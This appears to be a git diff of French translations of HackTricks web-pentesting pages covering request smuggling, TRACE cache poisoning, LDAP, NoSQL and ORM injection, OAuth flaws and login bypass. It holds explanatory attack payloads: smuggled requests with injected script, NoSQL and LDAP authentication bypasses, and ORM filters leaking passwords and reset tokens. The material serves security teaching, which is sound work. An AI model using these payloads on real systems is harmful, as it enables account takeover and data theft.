> - Dans l'**empoisonnement de cache web**, l'attaquant amène l'application à stocker un contenu malveillant dans le cache, et ce contenu est servi depuis le cache à d'autres utilisateurs de l'application.
> - Dans la **tromperie de cache web**, l'attaquant amène l'application à stocker un contenu sensible appartenant à un autre utilisateur dans le cache, et l'attaquant récupère ensuite ce contenu depuis le cache.
L'attaquant crée une requête smuggled qui récupère un contenu sensible spécifique à l'utilisateur. Considérez l'exemple suivant :
L'attaquant crée une requête de contournement qui récupère un contenu sensible spécifique à l'utilisateur. Considérez l'exemple suivant :
```markdown
`POST / HTTP/1.1`\
`Host: vulnerable-website.com`\
@ -516,9 +516,9 @@ L'attaquant crée une requête smuggled qui récupère un contenu sensible spéc
`GET /private/messages HTTP/1.1`\
`Foo: X`
```
Si cette requête de contournement empoisonne une entrée de cache destinée à un contenu statique (par exemple, `/someimage.png`), les données sensibles de la victime provenant de `/private/messages` pourraient être mises en cache sous l'entrée de cache du contenu statique. Par conséquent, l'attaquant pourrait potentiellement récupérer ces données sensibles mises en cache.
Si cette requête dissimulée empoisonne une entrée de cache destinée à un contenu statique (par exemple, `/someimage.png`), les données sensibles de la victime provenant de `/private/messages` pourraient être mises en cache sous l'entrée de cache du contenu statique. Par conséquent, l'attaquant pourrait potentiellement récupérer ces données sensibles mises en cache.
### Abuser de TRACE via HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
### Abus de TRACE via HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
[**Dans cet article**](https://portswigger.net/research/trace-desync-attack), il est suggéré que si le serveur a la méthode TRACE activée, il pourrait être possible de l'abuser avec un HTTP Request Smuggling. Cela est dû au fait que cette méthode renverra tout en-tête envoyé au serveur comme partie du corps de la réponse. Par exemple :
```
@ -537,7 +537,7 @@ Host: vulnerable.com
XSS: <script>alert("TRACE")</script>
X-Forwarded-For: xxx.xxx.xxx.xxx
```
Un exemple de la façon d'abuser de ce comportement serait de **smuggler d'abord une requête HEAD**. Cette requête sera répondue uniquement avec les **en-têtes** d'une requête GET (**`Content-Type`** parmi eux). Et smuggler **immédiatement après la HEAD une requête TRACE**, qui va **réfléchir les données envoyées**.\
Un exemple sur la façon d'abuser de ce comportement serait de **smuggler d'abord une requête HEAD**. Cette requête sera répondue uniquement avec les **en-têtes** d'une requête GET (**`Content-Type`** parmi eux). Et smuggler **immédiatement après la HEAD une requête TRACE**, qui sera **réfléchissant les données envoyées**.\
Comme la réponse HEAD contiendra un en-tête `Content-Length`, la **réponse de la requête TRACE sera traitée comme le corps de la réponse HEAD, réfléchissant donc des données arbitraires** dans la réponse.\
Cette réponse sera envoyée à la prochaine requête sur la connexion, donc cela pourrait être **utilisé dans un fichier JS mis en cache par exemple pour injecter du code JS arbitraire**.
@ -545,7 +545,7 @@ Cette réponse sera envoyée à la prochaine requête sur la connexion, donc cel
Continuer à suivre [**ce post**](https://portswigger.net/research/trace-desync-attack) est suggéré comme une autre façon d'abuser de la méthode TRACE. Comme commenté, smuggler une requête HEAD et une requête TRACE permet de **contrôler certaines données réfléchies** dans la réponse à la requête HEAD. La longueur du corps de la requête HEAD est essentiellement indiquée dans l'en-tête Content-Length et est formée par la réponse à la requête TRACE.
Par conséquent, la nouvelle idée serait que, connaissant ce Content-Length et les données fournies dans la réponse TRACE, il est possible de faire en sorte que la réponse TRACE contienne une réponse HTTP valide après le dernier octet du Content-Length, permettant à un attaquant de contrôler complètement la requête à la prochaine réponse (ce qui pourrait être utilisé pour effectuer un empoisonnement de cache).
Par conséquent, la nouvelle idée serait que, connaissant ce Content-Length et les données fournies dans la réponse TRACE, il est possible de faire en sorte que la réponse TRACE contienne une réponse HTTP valide après le dernier octet du Content-Length, permettant à un attaquant de contrôler complètement la requête à la prochaine réponse (ce qui pourrait être utilisé pour effectuer un empoisonnement de cache).
Exemple :
```
@ -566,7 +566,7 @@ Content-Length: 44\r\n
\r\n
<script>alert("response splitting")</script>
```
Générera ces réponses (notez comment la réponse HEAD a un Content-Length rendant la réponse TRACE partie du corps HEAD et une fois que le Content-Length HEAD se termine, une réponse HTTP valide est camouflée) :
Générera ces réponses (notez comment la réponse HEAD a un Content-Length rendant la réponse TRACE partie du corps de la HEAD et une fois que le Content-Length de la HEAD se termine, une réponse HTTP valide est camouflée) :
```
HTTP/1.1 200 OK
Content-Type: text/html
@ -589,7 +589,7 @@ Content-Length: 50
```
### Armer le HTTP Request Smuggling avec la désynchronisation de la réponse HTTP
Avez-vous trouvé une vulnérabilité de HTTP Request Smuggling et vous ne savez pas comment l'exploiter ? Essayez cette autre méthode d'exploitation :
Avez-vous trouvé une vulnérabilité de HTTP Request Smuggling et vous ne savez pas comment l'exploiter ? Essayez ces autres méthodes d'exploitation :
{{#ref}}
../http-response-smuggling-desync.md

22
src/pentesting-web/http-response-smuggling-desync.md
View File

@ -8,7 +8,7 @@
Tout d'abord, cette technique **exploite une vulnérabilité de HTTP Request Smuggling**, donc vous devez savoir ce que c'est :
La **principale** **différence** entre cette technique et un HTTP Request Smuggling classique est que **au lieu** de **cibler** la **requête** de la **victime** **en ajoutant un préfixe**, nous allons **fuiter ou modifier la réponse que reçoit la victime**. Cela se fait en, au lieu d'envoyer 1 requête et demie pour exploiter le HTTP Request Smuggling, **envoyer 2 requêtes complètes pour désynchroniser la file d'attente des réponses des proxies**.
La **principale** **différence** entre cette technique et un HTTP Request smuggling classique est que **au lieu** de **cibler** la **requête** de la **victime** **en ajoutant un préfixe**, nous allons **fuiter ou modifier la réponse que la victime reçoit**. Cela se fait en, au lieu d'envoyer 1 requête et demie pour exploiter le HTTP Request smuggling, **envoyer 2 requêtes complètes pour désynchroniser la file d'attente des réponses des proxies**.
C'est parce que nous allons pouvoir **désynchroniser la file d'attente des réponses** afin que la **réponse** de la **requête** **légitime** de la **victime soit envoyée à l'attaquant**, ou en **injectant du contenu contrôlé par l'attaquant dans la réponse à la victime**.
@ -16,7 +16,7 @@ C'est parce que nous allons pouvoir **désynchroniser la file d'attente des rép
HTTP/1.1 permet de demander des **ressources différentes sans avoir besoin d'attendre les précédentes**. Par conséquent, s'il y a un **proxy** au **milieu**, c'est la tâche des proxies de **maintenir une correspondance synchronisée des requêtes envoyées au backend et des réponses provenant de celui-ci**.
Cependant, il y a un problème de désynchronisation de la file d'attente des réponses. Si un attaquant envoie une attaque de HTTP Response Smuggling et que les réponses à la **requête initiale et à celle smuggled sont répondues immédiatement**, la réponse smuggled ne sera pas insérée dans la file d'attente de la réponse de la victime mais sera **juste rejetée comme une erreur**.
Cependant, il y a un problème de désynchronisation de la file d'attente des réponses. Si un attaquant envoie une attaque de HTTP Response smuggling et que les réponses à la **requête initiale et à celle smuggled sont répondues immédiatement**, la réponse smuggled ne sera pas insérée dans la file d'attente de la réponse de la victime mais sera **juste rejetée comme une erreur**.
![](<../images/image (633).png>)
@ -50,15 +50,15 @@ Tout d'abord la **requête initiale** exploitant le **HTTP** **Request** **smugg
Comme avec les payloads connus de HTTP Request Smuggling, vous pouvez **voler la requête de la victime** avec une différence importante : Dans ce cas, vous avez juste besoin que le **contenu envoyé soit reflété dans la réponse**, **aucun stockage persistant** n'est nécessaire.
Tout d'abord, l'attaquant envoie un payload contenant une **requête POST finale avec le paramètre réfléchi** à la fin et une grande Content-Length
Tout d'abord, l'attaquant envoie un payload contenant une **requête POST finale avec le paramètre reflété** à la fin et un grand Content-Length.
![](<../images/image (1053).png>)
Ensuite, une fois que la **requête initiale** (bleue) a été **traitée** et **pendant** que la **requête lente** est en cours de traitement (jaune), la **prochaine requête qui arrive d'une victime** va être **ajoutée dans la file d'attente juste après le paramètre réfléchi** :
Ensuite, une fois que la **requête initiale** (bleue) a été **traitée** et **pendant** que la **requête lente** est en cours de traitement (jaune), la **prochaine requête qui arrive d'une victime** va être **ajoutée dans la file d'attente juste après le paramètre reflété** :
![](<../images/image (794).png>)
Ensuite, la **victime** va **recevoir** la **réponse à la requête lente** et si entre-temps l'**attaquant** a **envoyé** **une autre** **requête**, la **réponse de la requête de contenu réfléchi sera envoyée à lui**.
Ensuite, la **victime** va **recevoir** la **réponse à la requête lente** et si entre-temps l'**attaquant** **a envoyé** **une autre** **requête**, la **réponse de la requête de contenu reflété sera envoyée à lui**.
## Désynchronisation de la réponse
@ -66,7 +66,7 @@ Jusqu'à présent, nous avons appris comment abuser des attaques de HTTP Request
Mais il est encore possible de **désynchroniser encore** plus les réponses.
Il existe des requêtes intéressantes comme la requête **HEAD** qui sont spécifiées pour ne pas avoir **de contenu à l'intérieur du corps des réponses** et qui devraient (doivent) **contenir la Content-Length** de la requête comme **si c'était une requête GET**.
Il existe des requêtes intéressantes comme la requête **HEAD** qui sont spécifiées pour ne pas avoir **de contenu à l'intérieur du corps des réponses** et qui devraient (doivent) **contenir le Content-Length** de la requête comme **si c'était une requête GET**.
Par conséquent, si un attaquant **injecte** une **requête HEAD**, comme dans ces images :
@ -76,13 +76,13 @@ Ensuite, **une fois que la bleue est répondue à l'attaquant**, la prochaine re
![](<../images/image (999).png>)
Ensuite, la **victime** va **recevoir** la **réponse** de la **requête HEAD**, qui va **contenir une Content-Length mais aucun contenu**. Par conséquent, le proxy **ne va pas envoyer cette réponse** à la victime, mais va **attendre** un **contenu**, qui en réalité va être la **réponse à la requête jaune** (également injectée par l'attaquant) :
Ensuite, la **victime** va **recevoir** la **réponse** de la **requête HEAD**, qui va **contenir un Content-Length mais aucun contenu du tout**. Par conséquent, le proxy **ne va pas envoyer cette réponse** à la victime, mais va **attendre** un **contenu**, qui en réalité va être **la réponse à la requête jaune** (également injectée par l'attaquant) :
![](<../images/image (735).png>)
### Confusion de contenu
En suivant l'exemple précédent, sachant que vous pouvez **contrôler le corps** de la requête dont la réponse va recevoir la victime et qu'une **réponse HEAD** contient généralement dans ses en-têtes le **Content-Type et le Content-Length**, vous pouvez **envoyer une requête comme la suivante** pour **provoquer un XSS** chez la victime sans que la page soit vulnérable au XSS :
En suivant l'exemple précédent, sachant que vous pouvez **contrôler le corps** de la requête dont la réponse va recevoir la victime et qu'une **réponse HEAD** **contient généralement dans ses en-têtes le **Content-Type et le Content-Length**, vous pouvez **envoyer une requête comme la suivante** pour **provoquer XSS** chez la victime sans que la page soit vulnérable à XSS :
![](<../images/image (688).png>)
@ -99,7 +99,7 @@ Réponse malveillante à la victime qui contient l'en-tête indiquant au cache d
![](<../images/image (566).png>)
> [!WARNING]
> Notez que dans ce cas, si le **"victime" est l'attaquant**, il peut maintenant effectuer **un empoisonnement de cache sur des URL arbitraires** car il peut **contrôler l'URL qui va être mise en cache** avec la réponse malveillante.
> Notez que dans ce cas, si la **"victime" est l'attaquant**, il peut maintenant effectuer **un empoisonnement de cache sur des URL arbitraires** car il peut **contrôler l'URL qui va être mise en cache** avec la réponse malveillante.
### Tromperie de cache web
@ -121,11 +121,11 @@ Après que la première requête soit résolue et renvoyée à l'attaquant, la *
![](<../images/image (737).png>)
La victime recevra comme réponse la **réponse HEAD + le contenu de la réponse de la deuxième requête (contenant une partie des données réfléchies) :**
La victime recevra comme réponse la **réponse HEAD + le contenu de la réponse de la deuxième requête (contenant une partie des données reflétées) :**
![](<../images/image (356).png>)
Cependant, notez comment les **données réfléchies avaient une taille selon la Content-Length** de la **réponse HEAD** qui **a généré une réponse HTTP valide dans la file d'attente des réponses**.
Cependant, notez comment les **données reflétées avaient une taille correspondant au Content-Length** de la **réponse HEAD** qui **a généré une réponse HTTP valide dans la file d'attente des réponses**.
Par conséquent, la **prochaine requête de la deuxième victime** va **recevoir** comme **réponse quelque chose complètement fabriqué par l'attaquant**. Comme la réponse est complètement fabriquée par l'attaquant, il peut également **faire en sorte que le proxy mette en cache la réponse**.

4
src/pentesting-web/iframe-traps.md
View File

@ -2,7 +2,7 @@
{{#include ../banners/hacktricks-training.md}}
## Basic Information
## Informations de base
Cette forme d'abus de XSS via des iframes pour voler des informations à l'utilisateur se déplaçant sur la page web a été publiée à l'origine dans ces 2 articles de trustedsec.com : [**ici**](https://trustedsec.com/blog/persisting-xss-with-iframe-traps) **et** [**ici**](https://trustedsec.com/blog/js-tap-weaponizing-javascript-for-red-teams).
@ -18,6 +18,6 @@ De plus, pour rendre cela plus réaliste, il est possible d'utiliser des **écou
De plus, il est possible d'utiliser des écouteurs pour voler des informations sensibles, non seulement les autres pages que la victime visite, mais aussi les données utilisées pour **remplir des formulaires** et les envoyer (identifiants ?) ou pour **voler le stockage local**...
Bien sûr, les principales limitations sont qu'une **victime fermant l'onglet ou mettant une autre URL dans le navigateur échappera à l'iframe**. Une autre façon de faire cela serait de **rafraîchir la page**, cependant, cela pourrait être partiellement **préventé** en désactivant le menu contextuel du clic droit chaque fois qu'une nouvelle page est chargée à l'intérieur de l'iframe ou en remarquant quand la souris de l'utilisateur quitte l'iframe, potentiellement pour cliquer sur le bouton de rechargement du navigateur et dans ce cas, l'URL du navigateur est mise à jour avec l'URL originale vulnérable au XSS donc si l'utilisateur la recharge, elle sera à nouveau empoisonnée (notez que ce n'est pas très furtif).
Bien sûr, les principales limitations sont qu'une **victime fermant l'onglet ou mettant une autre URL dans le navigateur échappera à l'iframe**. Une autre façon de faire cela serait de **rafraîchir la page**, cependant, cela pourrait être partiellement **prévenu** en désactivant le menu contextuel du clic droit chaque fois qu'une nouvelle page est chargée à l'intérieur de l'iframe ou en remarquant quand la souris de l'utilisateur quitte l'iframe, potentiellement pour cliquer sur le bouton de rechargement du navigateur et dans ce cas, l'URL du navigateur est mise à jour avec l'URL originale vulnérable au XSS donc si l'utilisateur la recharge, elle sera à nouveau empoisonnée (notez que ce n'est pas très furtif).
{{#include ../banners/hacktricks-training.md}}

6
src/pentesting-web/ldap-injection.md
View File

@ -14,7 +14,7 @@
../network-services-pentesting/pentesting-ldap.md
{{#endref}}
**L'injection LDAP** est une attaque ciblant les applications web qui construisent des déclarations LDAP à partir des entrées utilisateur. Elle se produit lorsque l'application **ne parvient pas à assainir correctement** l'entrée, permettant aux attaquants de **manipuler les déclarations LDAP** via un proxy local, ce qui peut entraîner un accès non autorisé ou une manipulation des données.
**L'injection LDAP** est une attaque ciblant les applications web qui construisent des déclarations LDAP à partir des entrées utilisateur. Elle se produit lorsque l'application **ne parvient pas à assainir correctement** les entrées, permettant aux attaquants de **manipuler les déclarations LDAP** via un proxy local, ce qui peut entraîner un accès non autorisé ou une manipulation des données.
{% file src="../images/EN-Blackhat-Europe-2008-LDAP-Injection-Blind-LDAP-Injection.pdf" %}
@ -56,7 +56,7 @@ Ensuite : `(&(objectClass=`**`*)(ObjectClass=*))`** sera le premier filtre (celu
### Contournement de connexion
LDAP prend en charge plusieurs formats pour stocker le mot de passe : clair, md5, smd5, sh1, sha, crypt. Donc, il se peut qu'indépendamment de ce que vous insérez dans le mot de passe, il soit haché.
LDAP prend en charge plusieurs formats pour stocker le mot de passe : clair, md5, smd5, sh1, sha, crypt. Ainsi, il se peut que peu importe ce que vous insérez dans le mot de passe, il soit haché.
```bash
user=*
password=*
@ -148,7 +148,7 @@ Vous pouvez itérer sur les lettres ascii, les chiffres et les symboles :
#### **Découvrir les champs LDAP valides**
Les objets LDAP **contiennent par défaut plusieurs attributs** qui pourraient être utilisés pour **sauvegarder des informations**. Vous pouvez essayer de **forcer tous les attributs pour extraire ces informations.** Vous pouvez trouver une liste des [**attributs LDAP par défaut ici**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/LDAP%20Injection/Intruder/LDAP_attributes.txt).
Les objets LDAP **contiennent par défaut plusieurs attributs** qui pourraient être utilisés pour **enregistrer des informations**. Vous pouvez essayer de **forcer tous les attributs pour extraire ces informations.** Vous pouvez trouver une liste des [**attributs LDAP par défaut ici**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/LDAP%20Injection/Intruder/LDAP_attributes.txt).
```python
#!/usr/bin/python3
import requests

2
src/pentesting-web/login-bypass/README.md
View File

@ -9,7 +9,7 @@ Si vous trouvez une page de connexion, voici quelques techniques à essayer pour
- Vérifiez les **commentaires** à l'intérieur de la page (faites défiler vers le bas et à droite ?)
- Vérifiez si vous pouvez **accéder directement aux pages restreintes**
- Vérifiez de **ne pas envoyer les paramètres** (ne pas envoyer aucun ou seulement 1)
- Vérifiez l'**erreur de comparaison PHP :** `user[]=a&pwd=b`, `user=a&pwd[]=b`, `user[]=a&pwd[]=b`
- Vérifiez l'**erreur de comparaison PHP :** `user[]=a&pwd=b` , `user=a&pwd[]=b` , `user[]=a&pwd[]=b`
- **Changez le type de contenu en json** et envoyez des valeurs json (bool true inclus)
- Si vous obtenez une réponse disant que POST n'est pas supporté, vous pouvez essayer d'envoyer le **JSON dans le corps mais avec une requête GET** avec `Content-Type: application/json`
- Vérifiez l'erreur de parsing potentielle de nodejs (lisez [**ceci**](https://flattsecurity.medium.com/finding-an-unseen-sql-injection-by-bypassing-escape-functions-in-mysqljs-mysql-90b27f6542b4)) : `password[password]=1`

4
src/pentesting-web/nosql-injection.md
View File

@ -17,7 +17,7 @@ username[$ne]=admin&pass[$gt]=s #<Greater Than>
username[$nin][admin]=admin&username[$nin][test]=test&pass[$ne]=7 #<Matches non of the values of the array> (not test and not admin)
{ $where: "this.credits == this.debits" }#<IF>, can be used to execute code
```
### Contournement de l'authentification basique
### Contournement de l'authentification de base
**Utiliser not equal ($ne) ou greater ($gt)**
```bash
@ -140,7 +140,7 @@ db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emi
{"username": {"$gt":""}, "password": {"$gt":""}}
{"username":{"$in":["Admin", "4dm1n", "admin", "root", "administrator"]},"password":{"$gt":""}}
```
## Script NoSQL Aveugle
## Script NoSQL à l'aveugle
```python
import requests, string

34
src/pentesting-web/oauth-to-account-takeover.md
View File

@ -7,24 +7,24 @@
OAuth propose différentes versions, avec des informations fondamentales accessibles dans la [documentation OAuth 2.0](https://oauth.net/2/). Cette discussion se concentre principalement sur le [type de code d'autorisation OAuth 2.0](https://oauth.net/2/grant-types/authorization-code/), fournissant un **cadre d'autorisation qui permet à une application d'accéder ou d'effectuer des actions sur le compte d'un utilisateur dans une autre application** (le serveur d'autorisation).
Considérons un site web hypothétique _**https://example.com**_, conçu pour **présenter tous vos posts sur les réseaux sociaux**, y compris les privés. Pour ce faire, OAuth 2.0 est utilisé. _https://example.com_ demandera votre permission pour **accéder à vos posts sur les réseaux sociaux**. Par conséquent, un écran de consentement apparaîtra sur _https://socialmedia.com_, décrivant les **permissions demandées et le développeur effectuant la demande**. Après votre autorisation, _https://example.com_ obtient la capacité d'**accéder à vos posts en votre nom**.
Considérons un site web hypothétique _**https://example.com**_, conçu pour **présenter tous vos posts sur les réseaux sociaux**, y compris ceux privés. Pour ce faire, OAuth 2.0 est utilisé. _https://example.com_ demandera votre permission pour **accéder à vos posts sur les réseaux sociaux**. Par conséquent, un écran de consentement apparaîtra sur _https://socialmedia.com_, décrivant les **permissions demandées et le développeur effectuant la demande**. Après votre autorisation, _https://example.com_ obtient la capacité d'**accéder à vos posts en votre nom**.
Il est essentiel de comprendre les composants suivants dans le cadre OAuth 2.0 :
- **propriétaire de la ressource** : Vous, en tant que **utilisateur/entité**, autorisez l'accès à votre ressource, comme vos posts sur les réseaux sociaux.
- **serveur de ressources** : Le **serveur gérant les demandes authentifiées** après que l'application a sécurisé un `access token` au nom du `propriétaire de la ressource`, par exemple, **https://socialmedia.com**.
- **application cliente** : L'**application demandant l'autorisation** du `propriétaire de la ressource`, comme **https://example.com**.
- **serveur d'autorisation** : Le **serveur qui délivre des `access tokens`** à l'`application cliente` après l'authentification réussie du `propriétaire de la ressource` et la sécurisation de l'autorisation, par exemple, **https://socialmedia.com**.
- **serveur de ressources** : Le **serveur gérant les demandes authentifiées** après que l'application a sécurisé un `access token` au nom du `resource owner`, par exemple, **https://socialmedia.com**.
- **application cliente** : L'**application demandant l'autorisation** du `resource owner`, comme **https://example.com**.
- **serveur d'autorisation** : Le **serveur qui délivre les `access tokens`** à l'`application cliente` après l'authentification réussie du `resource owner` et la sécurisation de l'autorisation, par exemple, **https://socialmedia.com**.
- **client_id** : Un identifiant public et unique pour l'application.
- **client_secret** : Une clé confidentielle, connue uniquement de l'application et du serveur d'autorisation, utilisée pour générer des `access_tokens`.
- **response_type** : Une valeur spécifiant **le type de token demandé**, comme `code`.
- **scope** : Le **niveau d'accès** que l'`application cliente` demande au `propriétaire de la ressource`.
- **scope** : Le **niveau d'accès** que l'`application cliente` demande au `resource owner`.
- **redirect_uri** : L'**URL vers laquelle l'utilisateur est redirigé après l'autorisation**. Cela doit généralement correspondre à l'URL de redirection préenregistrée.
- **state** : Un paramètre pour **maintenir des données lors de la redirection de l'utilisateur vers et depuis le serveur d'autorisation**. Son unicité est cruciale pour servir de **mécanisme de protection CSRF**.
- **grant_type** : Un paramètre indiquant **le type de subvention et le type de token à retourner**.
- **code** : Le code d'autorisation du `serveur d'autorisation`, utilisé en tandem avec `client_id` et `client_secret` par l'application cliente pour acquérir un `access_token`.
- **access_token** : Le **token que l'application cliente utilise pour les requêtes API** au nom du `propriétaire de la ressource`.
- **refresh_token** : Permet à l'application de **obtenir un nouveau `access_token` sans redemander à l'utilisateur**.
- **access_token** : Le **token que l'application cliente utilise pour les requêtes API** au nom du `resource owner`.
- **refresh_token** : Permet à l'application d'**obtenir un nouveau `access_token` sans redemander à l'utilisateur**.
### Flux
@ -41,7 +41,7 @@ https://socialmedia.com/auth
&state=randomString123
```
3. Vous êtes ensuite présenté avec une page de consentement.
4. Suite à votre approbation, Social Media envoie une réponse à l'`redirect_uri` avec les paramètres `code` et `state` :
4. Suite à votre approbation, les réseaux sociaux envoient une réponse à l'`redirect_uri` avec les paramètres `code` et `state` :
```
https://example.com?code=uniqueCode123&state=randomString123
```
@ -75,11 +75,11 @@ https://app.victim.com/login?redirectUrl=https://app.victim.com/dashboard</scrip
Dans les implémentations OAuth, l'utilisation incorrecte ou l'omission du **paramètre `state`** peut considérablement augmenter le risque d'attaques de **Cross-Site Request Forgery (CSRF)**. Cette vulnérabilité survient lorsque le paramètre `state` est soit **non utilisé, utilisé comme une valeur statique, ou mal validé**, permettant aux attaquants de contourner les protections CSRF.
Les attaquants peuvent en profiter en interceptant le processus d'autorisation pour lier leur compte à celui d'une victime, ce qui peut entraîner des **prises de contrôle de compte** potentielles. Cela est particulièrement critique dans les applications où OAuth est utilisé à des fins **d'authentification**.
Les attaquants peuvent exploiter cela en interceptant le processus d'autorisation pour lier leur compte à celui d'une victime, ce qui peut entraîner des **prises de contrôle de compte** potentielles. Cela est particulièrement critique dans les applications où OAuth est utilisé à des fins **d'authentification**.
Des exemples concrets de cette vulnérabilité ont été documentés dans divers **défis CTF** et **plateformes de hacking**, soulignant ses implications pratiques. Le problème s'étend également aux intégrations avec des services tiers comme **Slack**, **Stripe**, et **PayPal**, où les attaquants peuvent rediriger des notifications ou des paiements vers leurs comptes.
Des exemples concrets de cette vulnérabilité ont été documentés dans divers **défis CTF** et **plateformes de hacking**, soulignant ses implications pratiques. Le problème s'étend également aux intégrations avec des services tiers comme **Slack**, **Stripe** et **PayPal**, où les attaquants peuvent rediriger des notifications ou des paiements vers leurs comptes.
Une gestion et une validation appropriées du **paramètre `state`** sont cruciales pour se protéger contre les CSRF et sécuriser le flux OAuth.
Une gestion et une validation appropriées du **paramètre `state`** sont cruciales pour se protéger contre le CSRF et sécuriser le flux OAuth.
### Pré prise de contrôle de compte <a href="#ebe4" id="ebe4"></a>
@ -105,23 +105,23 @@ Connection: close
code=77515&redirect_uri=http%3A%2F%2F10.10.10.10%3A3000%2Fcallback&grant_type=authorization_code&client_id=public_client_id&client_secret=[bruteforce]
```
### Référent Header fuyant Code + État
### Fuite du code + état dans l'en-tête Referer
Une fois que le client a le **code et l'état**, s'ils sont **réfléchis dans l'en-tête Referer** lorsqu'il navigue vers une autre page, alors il est vulnérable.
### Jeton d'accès stocké dans l'historique du navigateur
Allez dans **l'historique du navigateur et vérifiez si le jeton d'accès est enregistré là-dedans**.
Allez dans **l'historique du navigateur et vérifiez si le jeton d'accès y est enregistré**.
### Code d'autorisation éternel
Le **code d'autorisation ne devrait vivre que pendant un certain temps pour limiter la fenêtre de temps où un attaquant peut le voler et l'utiliser**.
Le **code d'autorisation ne devrait vivre que pendant un certain temps pour limiter la fenêtre temporelle où un attaquant peut le voler et l'utiliser**.
### Jeton d'autorisation/rafraîchissement non lié au client
Si vous pouvez obtenir le **code d'autorisation et l'utiliser avec un client différent, alors vous pouvez prendre le contrôle d'autres comptes**.
### Chemins heureux, XSS, Iframes & Messages Post pour fuir les valeurs de code & d'état
### Chemins heureux, XSS, Iframes et messages postaux pour fuir les valeurs de code et d'état
[**Vérifiez ce post**](https://labs.detectify.com/writeups/account-hijacking-using-dirty-dancing-in-sign-in-oauth-flows/#gadget-2-xss-on-sandbox-third-party-domain-that-gets-the-url)
@ -202,8 +202,8 @@ L'enregistrement dynamique de clients dans OAuth sert de vecteur moins évident
- Le processus d'enregistrement peut involontairement exposer les serveurs aux SSRF de plusieurs manières :
- **`logo_uri`** : Une URL pour le logo de l'application cliente qui pourrait être récupérée par le serveur, déclenchant un SSRF ou menant à un XSS si l'URL est mal gérée.
- **`jwks_uri`** : Une URL vers le document JWK du client, qui si elle est malicieusement conçue, peut amener le serveur à effectuer des requêtes sortantes vers un serveur contrôlé par un attaquant.
- **`sector_identifier_uri`** : Fait référence à un tableau JSON de `redirect_uris`, que le serveur pourrait récupérer, créant une opportunité SSRF.
- **`request_uris`** : Liste les URI de requête autorisées pour le client, qui peuvent être exploitées si le serveur récupère ces URI au début du processus d'autorisation.
- **`sector_identifier_uri`** : Fait référence à un tableau JSON de `redirect_uris`, que le serveur pourrait récupérer, créant une opportunité de SSRF.
- **`request_uris`** : Énumère les URI de demande autorisées pour le client, qui peuvent être exploitées si le serveur récupère ces URI au début du processus d'autorisation.
**Stratégie d'exploitation :**

2
src/pentesting-web/open-redirect.md
View File

@ -1,4 +1,4 @@
# Redirection Ouverte
# Redirection ouverte
{{#include ../banners/hacktricks-training.md}}

14
src/pentesting-web/orm-injection.md
View File

@ -43,7 +43,7 @@ Exemples :
> [!CAUTION]
> Il est possible de trouver le mot de passe de tous les utilisateurs qui ont créé un article
- **Filtrage relationnel plusieurs-à-plusieurs** : Dans l'exemple précédent, nous n'avons pas pu trouver les mots de passe des utilisateurs qui n'ont pas créé d'article. Cependant, en suivant d'autres relations, cela est possible. Par exemple : Article(`created_by`) -\[1..1]-> Author(`departments`) -\[0..\*]-> Department(`employees`) -\[0..\*]-> Author(`user`) -\[1..1]-> User(`password`).
- **Filtrage relationnel plusieurs-à-plusieurs** : Dans l'exemple précédent, nous ne pouvions pas trouver les mots de passe des utilisateurs qui n'ont pas créé d'article. Cependant, en suivant d'autres relations, cela est possible. Par exemple : Article(`created_by`) -\[1..1]-> Author(`departments`) -\[0..\*]-> Department(`employees`) -\[0..\*]-> Author(`user`) -\[1..1]-> User(`password`).
```json
{
"created_by__departments__employees__user_startswith": "admi"
@ -52,7 +52,7 @@ Exemples :
> [!CAUTION]
> Dans ce cas, nous pouvons trouver tous les utilisateurs dans les départements d'utilisateurs qui ont créé des articles et ensuite fuir leurs mots de passe (dans le json précédent, nous ne fuyons que les noms d'utilisateur, mais il est ensuite possible de fuir les mots de passe).
- **Abus des relations many-to-many entre Django Group et Permission avec les utilisateurs** : De plus, le modèle AbstractUser est utilisé pour générer des utilisateurs dans Django et par défaut, ce modèle a certaines **relations many-to-many avec les tables Permission et Group**. Ce qui est essentiellement une manière par défaut d'**accéder à d'autres utilisateurs à partir d'un utilisateur** s'ils sont dans le **même groupe ou partagent la même permission**.
- **Abus des relations many-to-many entre les groupes et les permissions avec les utilisateurs** : De plus, le modèle AbstractUser est utilisé pour générer des utilisateurs dans Django et par défaut, ce modèle a certaines **relations many-to-many avec les tables Permission et Group**. Ce qui est essentiellement un moyen par défaut d'**accéder à d'autres utilisateurs à partir d'un utilisateur** s'ils sont dans le **même groupe ou partagent la même permission**.
```bash
# By users in the same group
created_by__user__groups__user__password
@ -65,9 +65,9 @@ created_by__user__user_permissions__user__password
Article.objects.filter(is_secret=False, categories__articles__id=2)
```
> [!CAUTION]
> En abusant des relations, il est possible de contourner même les filtres destinés à protéger les données affichées.
> Abuser des relations peut permettre de contourner même les filtres destinés à protéger les données affichées.
- **Basé sur l'erreur/le temps via ReDoS** : Dans les exemples précédents, il était prévu d'avoir des réponses différentes si le filtrage fonctionnait ou non pour l'utiliser comme oracle. Mais il pourrait être possible qu'une action soit effectuée dans la base de données et que la réponse soit toujours la même. Dans ce scénario, il pourrait être possible de provoquer une erreur de la base de données pour obtenir un nouvel oracle.
- **Error/Time based via ReDoS**: Dans les exemples précédents, il était prévu d'avoir des réponses différentes si le filtrage fonctionnait ou non pour l'utiliser comme oracle. Mais il pourrait être possible qu'une action soit effectuée dans la base de données et que la réponse soit toujours la même. Dans ce scénario, il pourrait être possible de provoquer une erreur de la base de données pour obtenir un nouvel oracle.
```json
// Non matching password
{
@ -221,7 +221,7 @@ Il est possible de leak des articles non publiés en revenant aux relations plus
}
}
```
Il est également possible de leak tous les utilisateurs en abusant de certaines relations many-to-many en boucle.
Il est également possible de leak tous les utilisateurs en abusant de certaines relations many-to-many en boucle :
```json
{
"query": {
@ -284,13 +284,13 @@ def index
@posts = @q.result(distinct: true)
end
```
Notez comment la requête sera définie par les paramètres envoyés par l'attaquant. Il était possible, par exemple, de forcer le token de réinitialisation avec :
Notez comment la requête sera définie par les paramètres envoyés par l'attaquant. Il était possible, par exemple, de forcer le jeton de réinitialisation avec :
```http
GET /posts?q[user_reset_password_token_start]=0
